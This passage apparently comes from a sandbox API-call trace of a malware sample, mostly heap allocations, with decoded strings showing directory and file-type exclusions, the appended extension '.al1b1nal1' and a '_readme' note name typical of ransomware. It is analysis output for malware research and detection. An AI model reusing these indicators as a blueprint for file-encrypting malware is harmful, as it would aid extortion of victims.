Size=0x40) returned 0x1d7c288 [0031.293] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1f8 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c1f8) returned 1 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2d8) returned 1 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d5e8) returned 1 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x2800) returned 0x1d92850 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d5e8 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2d8 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1f8 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2c8 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d600 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2b8 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1b0 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2a8 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c168 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c1f8) returned 1 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2d8) returned 1 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2c8) returned 1 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d5e8) returned 1 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d5e8 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2c8 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2d8 [0031.294] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1f8 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c1b0) returned 1 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2b8) returned 1 [0031.294] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c168) returned 1 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2a8) returned 1 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d600) returned 1 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d600 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2a8 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c168 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2b8 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1b0 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2c8) returned 1 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c1f8) returned 1 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2d8) returned 1 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d5e8) returned 1 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d5e8 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2d8 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1f8 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2c8 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c168) returned 1 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2a8) returned 1 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c1b0) returned 1 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2b8) returned 1 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d600) returned 1 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0031.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7d9d0 [0031.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c1f8, cbMultiByte=5, lpWideCharStr=0x1d7d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7da58 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d9d0) returned 1 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d600 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2b8 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7d9d0 [0031.295] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7da58) returned 1 [0031.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0031.295] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7da58 [0031.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c288, cbMultiByte=5, lpWideCharStr=0x1d7da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7dae0 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7da58) returned 1 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2a8 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7da58 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7dae0) returned 1 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c1f8) returned 1 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2d8) returned 1 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2c8) returned 1 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d5e8) returned 1 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x2800) returned 0x1d92850 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d5e8 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2c8 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1f8 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2d8 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1b0 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d298 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c168 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d288 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x20) returned 0x1d7bc08 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d5e8) returned 1 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d278 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c240 [0031.296] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.296] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d268 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d258 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x20) returned 0x1d95058 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d248 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c5e8 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d238 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c630 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d228 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c678 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d218 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c6c0 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d208 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c708 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d1e8 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c750 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d1f8 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c798 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c1f8) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2c8) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c1b0) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2d8) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c168) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d298) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d288) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c240) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d278) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d268) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d258) returned 1 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bc08) returned 1 [0031.297] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.297] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.298] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.298] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.298] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.298] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.298] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.298] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d5e8 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d258 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d268 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d278 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c240 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d288 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x20) returned 0x1d7bc08 [0031.298] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d5e8) returned 1 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d298 [0031.298] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c168 [0031.299] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2d8 [0031.299] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1b0 [0031.299] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2c8 [0031.299] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1f8 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c5e8) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d248) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c630) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d238) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c678) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d228) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c6c0) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d218) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c708) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d208) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c750) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d1e8) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c798) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d1f8) returned 1 [0031.299] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95058) returned 1 [0031.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0031.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c1f8, cbMultiByte=25, lpWideCharStr=0x1d7dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0031.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0031.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c1b0, cbMultiByte=12, lpWideCharStr=0x1d7db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0031.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0031.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c168, cbMultiByte=8, lpWideCharStr=0x1d7dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0031.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0031.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c120, cbMultiByte=6, lpWideCharStr=0x1d7dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0031.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0031.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c240, cbMultiByte=11, lpWideCharStr=0x1d7dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0031.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0031.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c0d8, cbMultiByte=7, lpWideCharStr=0x1d7deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0031.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0031.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpWideCharStr=0x1d7df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0031.300] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x1d92850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0031.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0031.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=14, lpWideCharStr=0x1d7dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0031.300] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x1d92850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0031.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0031.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=10, lpWideCharStr=0x1d7e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0031.300] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x1d92850, nSize=0x2800 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0031.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=36, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0031.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=36, lpWideCharStr=0x1d7e0d0, cchWideChar=36 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 36 [0031.300] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x1d92850, nSize=0x2800 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e [0031.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0031.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=45, lpWideCharStr=0x1d7e158, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 45 [0031.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d95058, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0031.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d95058, cbMultiByte=10, lpWideCharStr=0x1d7e1e0, cchWideChar=10 | out: lpWideCharStr=".al1b1nal1") returned 10 [0031.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d95058, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0031.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d95058, cbMultiByte=17, lpWideCharStr=0x1d7e268, cchWideChar=17 | out: lpWideCharStr=".al1b1nal1_readme") returned 17 [0031.301] WaitForSingleObject (hHandle=0x90, dwMilliseconds=0xffffffff) returned 0x0 [0031.301] CryptStringToBinaryA (in: 